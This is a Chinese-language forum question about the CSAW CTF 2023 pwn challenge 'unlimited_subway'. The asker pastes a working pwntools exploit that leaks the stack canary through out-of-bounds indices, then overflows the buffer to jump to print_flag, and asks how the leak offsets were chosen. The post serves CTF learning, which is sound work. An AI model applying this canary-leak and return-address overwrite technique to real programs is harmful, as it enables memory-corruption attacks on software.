CTF 挑战中的堆栈布局

问：

所以，基本上我正在为 2023 年 CSAW_CTF 资格赛的 CTF 挑战赛“unlimited_subway”寻找解决方案。解决方案的代码如下所示：

from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

ru          = lambda a:         p.readuntil(a)
r           = lambda n:         p.read(n)
sla         = lambda a,b:       p.sendlineafter(a,b)
sa          = lambda a,b:       p.sendafter(a,b)
sl          = lambda a:         p.sendline(a)
s           = lambda a:         p.send(a)

p = process('./unlimited_subway')
e = ELF('./unlimited_subway')
# l = e.libc

canary = b''
print_flag = e.symbols['print_flag']
log.info("print_flag : 0x%08x" % print_flag)

# gdb.attach(p,'''b *main+554''')
# gdb.attach(p,'''b *main+609''')
# gdb.attach(p)

for i in range(0x83, 0x7f, -1):
    sla('> ', 'V')
    sla(' : ', bytes(str(i), 'utf-8'))
    ru(' : ')
    canary += r(2)

canary = int(canary, 16)
log.info("canary : 0x%08x" % canary)

payload = b''
payload += b'A'*0x40
payload += p32(canary)
payload += b'B'*0x4
payload += p32(print_flag)

sla('>', 'E')
sla(" : ", bytes(str(len(payload)), 'utf-8'))
sla(" : ", payload)

p.interactive()

我很难理解该解决方案究竟如何找到偏移指数（此处为 128-131）来泄漏堆栈金丝雀？

挑战自我的链接：https://github.com/osirislab/CSAW-CTF-2023-Quals/tree/main/pwn/unlimited_subway/chal

在 Ghidra 中打开二进制文件后，我尝试自己计算索引，从逻辑上讲应该是 64（溢出缓冲区）+ 2（“选择”的大小）+ + + 4（name_size的大小）..+ 4 （local_90） 字节，应该有金丝雀。但它最多只能加起来 88 个字节：c在此处输入图像描述